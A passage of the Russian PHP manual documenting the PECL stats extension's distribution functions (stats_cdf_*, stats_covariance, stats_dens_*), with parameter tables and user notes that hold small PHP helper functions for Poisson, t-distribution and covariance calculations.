$arg1 = p
$arg2 = xn
$arg3 = pr
returns sn

$which = 1
$arg1 = sn
$arg2 = xn
$arg3 = pr
returns p
Anonymous 30-Dec-2009 12:29
Additional Notes, taken from source.
 WHICH --> Integer indicating which of the next four argument
       values is to be calculated from the others.
     Legal range: 1..4
     iwhich = 1 : Calculate P and Q from X,Y,A and B
     iwhich = 2 : Calculate X and Y from P,Q,A and B
     iwhich = 3 : Calculate A from P,Q,X,Y and B
     iwhich = 4 : Calculate B from P,Q,X,Y and A

     P <--> The integral from 0 to X of the chi-square
     distribution.
     Input range: [0, 1].

     Q <--> 1-P.
     Input range: [0, 1].
     P + Q = 1.0.

     X <--> Upper limit of integration of beta density.
     Input range: [0,1].
     Search range: [0,1]

     Y <--> 1-X.
     Input range: [0,1].
     Search range: [0,1]
     X + Y = 1.0.

     A <--> The first parameter of the beta density.
     Input range: (0, +infinity).
     Search range: [1D-100,1D100]

     B <--> The second parameter of the beta density.
     Input range: (0, +infinity).
     Search range: [1D-100,1D100]


Вычисляет один из параметров биноминального распределения по остальным

  • « stats_cdf_beta
  • stats_cdf_cauchy »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров биноминального распределения по остальным

stats_cdf_binomial

(PECL stats >= 1.0.0)

stats_cdf_binomial — Вычисляет один из параметров биноминального распределения по остальным

Описание

stats_cdf_binomial(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию биноминального распределения, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1, par2 и par3) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x, n и p обозначает функцию кумулятивного распределения, количество успешных испытаний, общее количество испытаний и коэффициент успеха для каждого испытания соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | n | p
2 | x | CDF | n | p
3 | n | x | CDF | p
4 | p | x | CDF | n

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x, n или p, в зависимости от значения which.

User Contributed Notes

PCH 14-Aug-2015 07:05
Calculates any one parameter of the binomial
     distribution given values for the others.

                              Arguments

     WHICH --> Integer indicating which of the next four argument
               values is to be calculated from the others.
               Legal range: 1..4
               iwhich = 1 : Calculate P and Q from S,XN,PR and OMPR
               iwhich = 2 : Calculate S from P,Q,XN,PR and OMPR
               iwhich = 3 : Calculate XN from P,Q,S,PR and OMPR
               iwhich = 4 : Calculate PR and OMPR from P,Q,S and XN

     P <--> The cumulation from 0 to S of the binomial distribution.
            (Probablility of S or fewer successes in XN trials each
            with probability of success PR.)
            Input range: [0,1].

     Q <--> 1-P.
            Input range: [0, 1].
            P + Q = 1.0.

     S <--> The number of successes observed.
            Input range: [0, XN]
            Search range: [0, XN]

     XN  <--> The number of binomial trials.
              Input range: (0, +infinity).
              Search range: [1E-100, 1E100]

     PR  <--> The probability of success in each binomial trial.
              Input range: [0,1].
              Search range: [0,1]

     OMPR  <--> 1-PR
              Input range: [0,1].
              Search range: [0,1]
              PR + OMPR = 1.0

     STATUS <-- 0 if calculation completed correctly
               -I if input parameter number I is out of range
                1 if answer appears to be lower than lowest
                  search bound
                2 if answer appears to be higher than greatest
                  search bound
                3 if P + Q .ne. 1
                4 if PR + OMPR .ne. 1

     BOUND <-- Undefined if STATUS is 0

               Bound exceeded by parameter number I if STATUS
               is negative.

               Lower search bound if STATUS is 1.

               Upper search bound if STATUS is 2.


Вычисляет один из параметров распределения Коши по остальным

  • « stats_cdf_binomial
  • stats_cdf_chisquare »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров распределения Коши по остальным

stats_cdf_cauchy

(PECL stats >= 1.0.0)

stats_cdf_cauchy — Вычисляет один из параметров распределения Коши по остальным

Описание

stats_cdf_cauchy(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию распределения Коши, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1, par2 и par3) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x, x0 и gamma обозначает функцию кумулятивного распределения, значение случайной переменной, параметр сдвига и масштаба соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | x0 | gamma
2 | x | CDF | x0 | gamma
3 | x0 | x | CDF | gamma
4 | gamma | x | CDF | x0

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x, x0 или gamma, в зависимости от значения which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров распределения хи-квадрат по остальным

  • « stats_cdf_cauchy
  • stats_cdf_exponential »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров распределения хи-квадрат по остальным

stats_cdf_chisquare

(PECL stats >= 1.0.0)

stats_cdf_chisquare — Вычисляет один из параметров распределения хи-квадрат по остальным

Описание

stats_cdf_chisquare(float $par1, float $par2, int $which): float

Возвращает кумулятивную функцию распределения хи-квадрат, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1 и par2) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x и k обозначает функцию кумулятивного распределения, значение случайной переменной и степени свободы соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2
1 | CDF | x | k
2 | x | CDF | k
3 | k | x | CDF

Список параметров

par1

Первый параметр

par2

Второй параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x или k, в зависимости от значения which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров экспоненциального распределения по остальным

  • « stats_cdf_chisquare
  • stats_cdf_f »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров экспоненциального распределения по остальным

stats_cdf_exponential

(PECL stats >= 1.0.0)

stats_cdf_exponential — Вычисляет один из параметров экспоненциального распределения по остальным

Описание

stats_cdf_exponential(float $par1, float $par2, int $which): float

Возвращает кумулятивную функцию экспоненциального распределения, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1 и par2) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x и lambda обозначает функцию кумулятивного распределения, значение случайной переменной и интенсивность (обратный коэффициент масштаба) соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2
1 | CDF | x | lambda
2 | x | CDF | lambda
3 | lambda | x | CDF

Список параметров

par1

Первый параметр

par2

Второй параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x или lambda, в зависимости от значения which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров распределения Фишера по остальным

  • « stats_cdf_exponential
  • stats_cdf_gamma »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров распределения Фишера по остальным

stats_cdf_f

(PECL stats >= 1.0.0)

stats_cdf_f — Вычисляет один из параметров распределения Фишера по остальным

Описание

stats_cdf_f(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию распределения Фишера, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1, par2 и par3) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x, d1 и d2 обозначает функцию кумулятивного распределения, значение случайной переменной и степени свободы соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | d1 | d2
2 | x | CDF | d1 | d2
3 | d1 | x | CDF | d2
4 | d2 | x | CDF | d1

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x, d1 или d2, в зависимости от значения which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров Гамма-распределения по остальным

  • « stats_cdf_f
  • stats_cdf_laplace »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров Гамма-распределения по остальным

stats_cdf_gamma

(PECL stats >= 1.0.0)

stats_cdf_gamma — Вычисляет один из параметров Гамма-распределения по остальным

Описание

stats_cdf_gamma(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию Гамма-распределения, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1, par2 и par3) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x, k и theta обозначает функцию кумулятивного распределения, значение случайной переменной, коэффициент формы и масштаба соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | k | theta
2 | x | CDF | k | theta
3 | k | x | CDF | theta
4 | theta | x | CDF | k

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x, k или theta, в зависимости от значения which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров распределения Лапласа по остальным

  • « stats_cdf_gamma
  • stats_cdf_logistic »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров распределения Лапласа по остальным

stats_cdf_laplace

(PECL stats >= 1.0.0)

stats_cdf_laplace — Вычисляет один из параметров распределения Лапласа по остальным

Описание

stats_cdf_laplace(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию распределения Лапласа, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1, par2 и par3) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x, mu и b обозначает функцию кумулятивного распределения, значение случайной переменной, параметр сдвига и масштаба соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | mu | b
2 | x | CDF | mu | b
3 | mu | x | CDF | b
4 | b | x | CDF | mu

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x, mu или b, в зависимости от значения which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров логистического распределения по остальным

  • « stats_cdf_laplace
  • stats_cdf_negative_binomial »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров логистического распределения по остальным

stats_cdf_logistic

(PECL stats >= 1.0.0)

stats_cdf_logistic — Вычисляет один из параметров логистического распределения по остальным

Описание

stats_cdf_logistic(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию логистического распределения, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1, par2 и par3) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x, mu и s обозначает функцию кумулятивного распределения, значение случайной переменной, параметр сдвига и масштаба соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | mu | s
2 | x | CDF | mu | s
3 | mu | x | CDF | s
4 | s | x | CDF | mu

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x, mu или s, в зависимости от значения which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров Отрицательного Биноминального распределения по остальным

  • « stats_cdf_logistic
  • stats_cdf_noncentral_chisquare »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров Отрицательного Биноминального распределения по остальным

stats_cdf_negative_binomial

(PECL stats >= 1.0.0)

stats_cdf_negative_binomial — Вычисляет один из параметров Отрицательного Биноминального распределения по остальным

Описание

stats_cdf_negative_binomial(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию отрицательного биноминального распределения, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1, par2 и par3) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x, r и p обозначает функцию кумулятивного распределения, количество проваленных испытаний, количество успешных испытаний и коэффициент успеха для каждого испытания соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | r | p
2 | x | CDF | r | p
3 | r | x | CDF | p
4 | p | x | CDF | r

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x, r или p, в зависимости от значения which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров нецентрального распределения хи-квадрат по остальным

  • « stats_cdf_negative_binomial
  • stats_cdf_noncentral_f »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров нецентрального распределения хи-квадрат по остальным

stats_cdf_noncentral_chisquare

(PECL stats >= 1.0.0)

stats_cdf_noncentral_chisquare — Вычисляет один из параметров нецентрального распределения хи-квадрат по остальным

Описание

stats_cdf_noncentral_chisquare(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию нецентрального распределения хи-квадрат, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1, par2 и par3) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x, k и lambda обозначает функцию кумулятивного распределения, значение случайной переменной, степени свободы и параметр нецентральности соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | k | lambda
2 | x | CDF | k | lambda
3 | k | x | CDF | lambda
4 | lambda | x | CDF | k

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x, k или lambda, в зависимости от значения which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров нецентрального распределения Фишера по остальным

  • « stats_cdf_noncentral_chisquare
  • stats_cdf_noncentral_t »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров нецентрального распределения Фишера по остальным

stats_cdf_noncentral_f

(PECL stats >= 1.0.0)

stats_cdf_noncentral_f — Вычисляет один из параметров нецентрального распределения Фишера по остальным

Описание

stats_cdf_noncentral_f(
float $par1,
float $par2,
float $par3,
float $par4,
int $which
): float

Возвращает кумулятивную функцию нецентрального распределения Фишера, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1, par2, par3, и par4) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x, nu1, nu2 и lambda обозначает функцию кумулятивного распределения, значение случайной переменной, степени свободы и параметр нецентральности соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2 | par3 | par4
1 | CDF | x | nu1 | nu2 | lambda
2 | x | CDF | nu1 | nu2 | lambda
3 | nu1 | x | CDF | nu2 | lambda
4 | nu2 | x | CDF | nu1 | lambda
5 | lambda | x | CDF | nu1 | nu2

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

par4

Четвёртый параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x, nu1, nu2 или lambda, в зависимости от значения which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров нецентрального распределения Стьюдента в зависимости от остальных

  • « stats_cdf_noncentral_f
  • stats_cdf_normal »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров нецентрального распределения Стьюдента в зависимости от остальных

stats_cdf_noncentral_t

(PECL stats >= 1.0.0)

stats_cdf_noncentral_t — Вычисляет один из параметров нецентрального распределения Стьюдента в зависимости от остальных

Описание

stats_cdf_noncentral_t(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию распределения, обратную ей или один из параметров нецентрального распределения Стьюдента. Тип возвращаемого значения и параметры (par1, par2 и par3) определяются параметром which.

Следующая таблица содержит перечисление того, что будет возвращено функцией и значения параметров в зависимости от which. CDF, x, nu и mu обозначают функцию кумулятивного распределения, значение случайной переменной, степени свободы и параметр нецентральности соответственно.

Возвращаемые значения и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | nu | mu
2 | x | CDF | nu | mu
3 | nu | x | CDF | mu
4 | mu | x | CDF | nu

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий поведение функции

Возвращаемые значения

Возвращает CDF, x, nu или mu, в зависимости от which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров распределения в зависимости от остальных

  • « stats_cdf_noncentral_t
  • stats_cdf_poisson »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров распределения в зависимости от остальных

stats_cdf_normal

(PECL stats >= 1.0.0)

stats_cdf_normal — Вычисляет один из параметров распределения в зависимости от остальных

Описание

stats_cdf_normal(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию распределения, обратную ей или один из параметров нормального распределения. Тип возвращаемого значения и параметры (par1, par2 и par3) определяются параметром which.

Следующая таблица содержит перечисление того, что будет возвращено функцией и значения параметров в зависимости от which. CDF, x, mu и sigma обозначают функцию распределения, значение случайной переменной, медиану и стандартное отклонение соответственно.

Возвращаемые значения и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | mu | sigma
2 | x | CDF | mu | sigma
3 | mu | x | CDF | sigma
4 | sigma | x | CDF | mu

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий поведение функции

Возвращаемые значения

Возвращает CDF, x, mu или sigma, в зависимости от which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров распределения Пуассона по остальным

  • « stats_cdf_normal
  • stats_cdf_t »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров распределения Пуассона по остальным

stats_cdf_poisson

(PECL stats >= 1.0.0)

stats_cdf_poisson — Вычисляет один из параметров распределения Пуассона по остальным

Описание

stats_cdf_poisson(float $par1, float $par2, int $which): float

Возвращает кумулятивную функцию распределения Пуассона, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1 и par2) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x и lambda обозначает функцию кумулятивного распределения, значение случайной переменной и параметр распределения Пуассона соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2
1 | CDF | x | lambda
2 | x | CDF | lambda
3 | lambda | x | CDF

Список параметров

par1

Первый параметр

par2

Второй параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x или lambda, в зависимости от значения which.

User Contributed Notes

s at nder dot com 23-Nov-2012 09:33
A simple poisson-distribution function, which only works for relatively small numbers (maximum of ~100/100 for most systems):

<?php

function factorial($number)
{
        if ($number < 2) {
                return 1;
        } else {
                return ($number * factorial($number-1));
        }
}

function poisson($chance, $occurrence)
{
        $e = exp(1);

        $a = pow($e, (-1 * $chance));
        $b = pow($chance,$occurrence);
        $c = factorial($occurrence);

        return $a * $b / $c;
}

$test = poisson(100,100);
echo $test . "\n";

?>


Вычисляет один из параметров распределения Стьюдента по остальным

  • « stats_cdf_poisson
  • stats_cdf_uniform »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров распределения Стьюдента по остальным

stats_cdf_t

(PECL stats >= 1.0.0)

stats_cdf_t — Вычисляет один из параметров распределения Стьюдента по остальным

Описание

stats_cdf_t(float $par1, float $par2, int $which): float

Возвращает кумулятивную функцию распределения Стьюдента, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1 и par2) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x и nu обозначает функцию кумулятивного распределения, значение случайной переменной и количество степеней свободы соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2
1 | CDF | x | nu
2 | x | CDF | nu
3 | nu | x | CDF

Список параметров

par1

Первый параметр

par2

Второй параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x или nu, в зависимости от значения which.

User Contributed Notes

Anonymous 12-Apr-2012 07:30
Input  and return values of stats_cdf_t depends on the $which-parameter:
<?php
function get_t_p($t, $df){
  return stats_cdf_t($t, $df, 1);
}
function get_t_t($p, $df){
  return stats_cdf_t($p, $df, 2);
}
function get_t_df($p, $t){
  return stats_cdf_t($p, $t, 3);
}
?>
Brian 14-Oct-2010 02:14
In order to match the output of this function with Excel's TDIST function, you must take 1 - the value.  For example, for a two-tailed T-distribution for x=4 and degrees of freedom=2, the formula would be:

(1 - stats_cdf_t(4, 2, 1)) * 2

For a single tail, do not include the multiply by 2 portion.


Вычисляет один из параметров равномерного распределения по остальным

  • « stats_cdf_t
  • stats_cdf_weibull »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров равномерного распределения по остальным

stats_cdf_uniform

(PECL stats >= 1.0.0)

stats_cdf_uniform — Вычисляет один из параметров равномерного распределения по остальным

Описание

stats_cdf_uniform(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию равномерного распределения, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1, par2 и par3) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x, a и b обозначает функцию кумулятивного распределения, величину случайной переменной, нижнюю и верхнюю границу распределения соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | a | b
2 | x | CDF | a | b
3 | a | x | CDF | b
4 | b | x | CDF | a

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x, a или b, в зависимости от значения which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет один из параметров распределения Вейбулла по остальным

  • « stats_cdf_uniform
  • stats_covariance »
  • PHP Manual
  • Функции статистики
  • Вычисляет один из параметров распределения Вейбулла по остальным

stats_cdf_weibull

(PECL stats >= 1.0.0)

stats_cdf_weibull — Вычисляет один из параметров распределения Вейбулла по остальным

Описание

stats_cdf_weibull(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию распределения Вейбулла, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1, par2 и par3) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x, k и lambda обозначает функцию кумулятивного распределения, величину случайной переменной, коэффициент формы и масштаба соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | k | lambda
2 | x | CDF | k | lambda
3 | k | x | CDF | lambda
4 | lambda | x | CDF | k

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x, k или lambda, в зависимости от значения which.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет ковариацию двух наборов данных

  • « stats_cdf_weibull
  • stats_dens_beta »
  • PHP Manual
  • Функции статистики
  • Вычисляет ковариацию двух наборов данных

stats_covariance

(PECL stats >= 1.0.0)

stats_covariance — Вычисляет ковариацию двух наборов данных

Описание

stats_covariance(array $a, array $b): float

Вычисляет ковариацию a и b.

Список параметров

a

Первый массив

b

Второй массив

Возвращаемые значения

Вычисляет ковариацию a и b, или false в случае возникновения ошибки.

User Contributed Notes

Angel J. Salinas 22-Dec-2015 09:37
// kanniprabu's function is wrong.
// You can check this function with COVARIANCE.P Excel function:

function getCovariance( $valuesA, $valuesB )
{
  $countA = count($valuesA);
  $countB = count($valuesB);
  if ( $countA != $countB ) {
    trigger_error( 'Arrays with different sizes: countA='. $countA .', countB='. $countB, E_USER_WARNING );
    return false;
  }

  if ( $countA < 0 ) {
    trigger_error( 'Empty arrays', E_USER_WARNING );
    return false;
  }

  // Use library function if available
  if ( function_exists( 'stats_covariance' ) ) {
    return stats_covariance( $valuesA, $valuesB );
  }

  $meanA = array_sum( $valuesA ) / floatval( $countA );
  $meanB = array_sum( $valuesB ) / floatval( $countB );
  $add = 0.0;

  for ( $pos = 0; $pos < $countA; $pos++ ) {
    $valueA = $valuesA[ $pos ];
    if ( ! is_numeric( $valueA ) ) {
      trigger_error( 'Not numerical value in array A at position '. $pos .', value='. $valueA, E_USER_WARNING );
      return false;
    }

    $valueB = $valuesB[ $pos ];
    if ( ! is_numeric( $valueB ) ) {
      trigger_error( 'Not numerical value in array B at position '. $pos .', value='. $valueB, E_USER_WARNING );
      return false;
    }

    $difA = $valueA - $meanA;
    $difB = $valueB - $meanB;
    $add += ( $difA * $difB );
  } // for

  return $add / floatval( $countA );
}
kanniprabu at gmail dot com 16-Mar-2013 10:30
<?php
    //Covariance Calculation
    function standard_covariance($aValues,$bValues)
    {
        $a= (array_sum($aValues)*array_sum($bValues))/count($aValues);
        $ret = array();
        for($i=0;$i<count($aValues);$i++)
        {
            $ret[$i]=$aValues[$i]*$bValues[$i];
        }
        $b=(array_sum($ret)-$a)/(count($aValues)-1);
        return (float) $b;
    }
    $aValues=array(3,4,5,7);
    $bValues=array(10,11,13,14);
    echo standard_covariance($aValues,$bValues);
?>


Плотность вероятности бета-распределения

  • « stats_covariance
  • stats_dens_cauchy »
  • PHP Manual
  • Функции статистики
  • Плотность вероятности бета-распределения

stats_dens_beta

(PECL stats >= 1.0.0)

stats_dens_beta — Плотность вероятности бета-распределения

Описание

stats_dens_beta(float $x, float $a, float $b): float

Возвращает плотность вероятности для x, где где случайная величина следует за бета-распределением, параметры формы которого являются a и b.

Список параметров

x

Значение, для которого считается плотность вероятности

a

Параметр формы

b

Параметр формы

Возвращаемые значения

Плотность вероятности для x или false, в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Плотность вероятности распределения Коши

  • « stats_dens_beta
  • stats_dens_chisquare »
  • PHP Manual
  • Функции статистики
  • Плотность вероятности распределения Коши

stats_dens_cauchy

(PECL stats >= 1.0.0)

stats_dens_cauchy — Плотность вероятности распределения Коши

Описание

stats_dens_cauchy(float $x, float $ave, float $stdev): float

Возвращает плотность вероятности для x, где ave и stdev являются коэффициентом сдвига и масштабным параметром соответственно.

Список параметров

x

Значение, для которого считается плотность вероятности

ave

Коэффициент сдвига

stdev

Масштабный параметр распределения

Возвращаемые значения

Плотность вероятности для x или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Плотность вероятности распределения хи-квадрат

  • « stats_dens_cauchy
  • stats_dens_exponential »
  • PHP Manual
  • Функции статистики
  • Плотность вероятности распределения хи-квадрат

stats_dens_chisquare

(PECL stats >= 1.0.0)

stats_dens_chisquare — Плотность вероятности распределения хи-квадрат

Описание

stats_dens_chisquare(float $x, float $dfr): float

Возвращает плотность вероятности для x, где dfr отражает степени свободы.

Список параметров

x

Значение, для которого считается плотность вероятности

dfr

Степени свободы

Возвращаемые значения

Плотность вероятности для x или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Плотность вероятности экспоненциального распределения

  • « stats_dens_chisquare
  • stats_dens_f »
  • PHP Manual
  • Функции статистики
  • Плотность вероятности экспоненциального распределения

stats_dens_exponential

(PECL stats >= 1.0.0)

stats_dens_exponential — Плотность вероятности экспоненциального распределения

Описание

stats_dens_exponential(float $x, float $scale): float

Возвращает плотность вероятности для x, где scale является масштабным параметром.

Список параметров

x

Значение, для которого считается плотность вероятности

scale

Масштабный параметр распределения

Возвращаемые значения

Плотность вероятности для x или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Плотность вероятности распределения Фишера

  • « stats_dens_exponential
  • stats_dens_gamma »
  • PHP Manual
  • Функции статистики
  • Плотность вероятности распределения Фишера

stats_dens_f

(PECL stats >= 1.0.0)

stats_dens_f — Плотность вероятности распределения Фишера

Описание

stats_dens_f(float $x, float $dfr1, float $dfr2): float

Возвращает плотность вероятности для x, где dfr1 и dfr2 отражают степени свободы.

Список параметров

x

Значение, для которого считается плотность вероятности

dfr1

Степени свободы

dfr2

Степени свободы

Возвращаемые значения

Плотность вероятности для x или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Плотность вероятности гамма-распределения

  • « stats_dens_f
  • stats_dens_laplace »
  • PHP Manual
  • Функции статистики
  • Плотность вероятности гамма-распределения

stats_dens_gamma

(PECL stats >= 1.0.0)

stats_dens_gamma — Плотность вероятности гамма-распределения

Описание

stats_dens_gamma(float $x, float $shape, float $scale): float

Возвращает плотность вероятности для x, где shape и scale являются коэффициентом формы и масштабным параметром соответственно.

Список параметров

x

Значение, для которого считается плотность вероятности

shape

Параметр формы

scale

Масштабный параметр распределения

Возвращаемые значения

Плотность вероятности для x или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Плотность вероятности распределения Лапласа

  • « stats_dens_gamma
  • stats_dens_logistic »
  • PHP Manual
  • Функции статистики
  • Плотность вероятности распределения Лапласа

stats_dens_laplace

(PECL stats >= 1.0.0)

stats_dens_laplace — Плотность вероятности распределения Лапласа

Описание

stats_dens_laplace(float $x, float $ave, float $stdev): float

Возвращает плотность вероятности для x, где ave и stdev являются коэффициентом сдвига и параметром формы соответственно.

Список параметров

x

Значение, для которого считается плотность вероятности

ave

Коэффициент сдвига

stdev

Параметр формы

Возвращаемые значения

Плотность вероятности для x или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Плотность вероятности логистического распределения

  • « stats_dens_laplace
  • stats_dens_normal »
  • PHP Manual
  • Функции статистики
  • Плотность вероятности логистического распределения

stats_dens_logistic

(PECL stats >= 1.0.0)

stats_dens_logistic — Плотность вероятности логистического распределения

Описание

stats_dens_logistic(float $x, float $ave, float $stdev): float

Возвращает плотность вероятности для x, где ave и stdev являются коэффициентом сдвига и логистическим распределением соответственно.

Список параметров

x

Значение, для которого считается плотность вероятности

ave

Коэффициент сдвига

stdev

Параметр формы

Возвращаемые значения

Плотность вероятности для x или false в случае возникновения ошибки.

User Contributed Notes

